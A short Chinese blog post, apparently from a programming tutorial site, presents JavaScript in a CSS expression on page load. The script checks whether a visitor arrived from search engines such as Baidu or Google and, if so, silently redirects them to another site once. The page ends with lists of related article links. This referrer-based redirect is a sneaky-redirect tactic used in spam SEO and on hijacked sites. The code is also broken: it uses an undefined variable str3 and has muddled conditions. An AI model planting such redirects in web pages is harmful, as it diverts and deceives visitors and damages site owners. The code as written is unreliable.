JavaScript脚本判断蜘蛛来源的方法


Posted in Javascript onSeptember 22, 2015

今天介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:

body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
 
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
 
}
);}

这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。

Javascript 相关文章推荐
javascript基础第一章 JavaScript与用户端
Jul 22 Javascript
JavaScript异步编程Promise模式的6个特性
Apr 03 Javascript
JavaScript中检查对象property的存在性方法介绍
Dec 30 Javascript
Redis基本知识、安装、部署、配置笔记
Mar 05 Javascript
微信小程序 图片加载(本地,网路)实例详解
Mar 10 Javascript
AngularJS实现注册表单验证功能
Oct 16 Javascript
angular6的响应式表单的实现
Oct 10 Javascript
JS数组方法concat()用法实例分析
Jan 18 Javascript
javascript中的with语句学习笔记及用法
Feb 17 Javascript
微信小程序 flexbox layout快速实现基本布局的解决方案
Mar 24 Javascript
Vue使用Three.js加载glTF模型的方法详解
Jun 14 Javascript
Taro小程序自定义顶部导航栏功能的实现
Dec 17 Javascript
jQuery实现的经典滑动门效果
Sep 22 #Javascript
jquery实现的简单二级菜单效果代码
Sep 22 #Javascript
jfinal与bootstrap的登录跳转实战演习
Sep 22 #Javascript
jquery实现经典的淡入淡出选项卡效果代码
Sep 22 #Javascript
JS+CSS实现类似QQ好友及黑名单效果的树型菜单
Sep 22 #Javascript
jQuery实现Flash效果上下翻动的中英文导航菜单代码
Sep 22 #Javascript
QQ登录背景闪动效果附效果演示源码下载
Sep 22 #Javascript
You might like
社区(php&&mysql)二
2006/10/09 PHP
PHP 函数语法介绍一
2009/06/14 PHP
php中几种常见安全设置详解
2010/04/06 PHP
javascript实现二分查找法实现代码
2007/11/12 Javascript
js实现点击注册按钮开始读秒倒计时的小例子
2013/05/11 Javascript
javascript实现修改微信分享的标题内容等
2014/12/11 Javascript
html的DOM中document对象images集合用法实例
2015/01/21 Javascript
js实现div层缓慢收缩与展开的方法
2015/05/11 Javascript
IE浏览器下PNG相关功能
2015/07/05 Javascript
JavaScript几种数组去掉重复值的方法推荐
2016/04/12 Javascript
JS 面向对象之继承---多种组合继承详解
2016/07/10 Javascript
详解Node.js如何开发命令行工具
2016/08/14 Javascript
canvas绘制的直线动画
2017/01/23 Javascript
jQuery动态追加页面数据以及事件委托详解
2017/05/06 jQuery
vue.js实现数据动态响应 Vue.set的简单应用
2017/06/15 Javascript
Vim快速合并行及vim 将文件所有行合并到一行
2017/11/27 Javascript
对 Vue-Router 进行单元测试的方法
2018/11/05 Javascript
基于vue实现一个禅道主页拖拽效果
2019/05/27 Javascript
nest.js 使用express需要提供多个静态目录的操作方法
2019/10/24 Javascript
[44:26]DOTA2上海特级锦标赛主赛事日 - 2 胜者组第一轮#4EG VS Fnatic第二局
2016/03/03 DOTA
基于Python函数的作用域规则和闭包(详解)
2017/11/29 Python
python之pandas用法大全
2018/03/13 Python
对pandas中两种数据类型Series和DataFrame的区别详解
2018/11/12 Python
Python面向对象之类的定义与继承用法示例
2019/01/14 Python
Python2比较当前图片跟图库哪个图片相似的方法示例
2019/09/28 Python
关于tensorflow的几种参数初始化方法小结
2020/01/04 Python
python 成功引入包但无法正常调用的解决
2020/03/09 Python
idea2020手动安装python插件的实现方法
2020/07/17 Python
python openCV实现摄像头获取人脸图片
2020/08/20 Python
Python Map 函数的使用
2020/08/28 Python
玩转CSS3色彩
2010/01/16 HTML / CSS
行政办公室岗位职责
2014/03/18 职场文书
医院护士见习期自我鉴定
2014/04/10 职场文书
党员廉洁自律承诺书
2014/05/26 职场文书
设计专业毕业生求职信
2014/06/25 职场文书
庆七一晚会主持词
2015/06/30 职场文书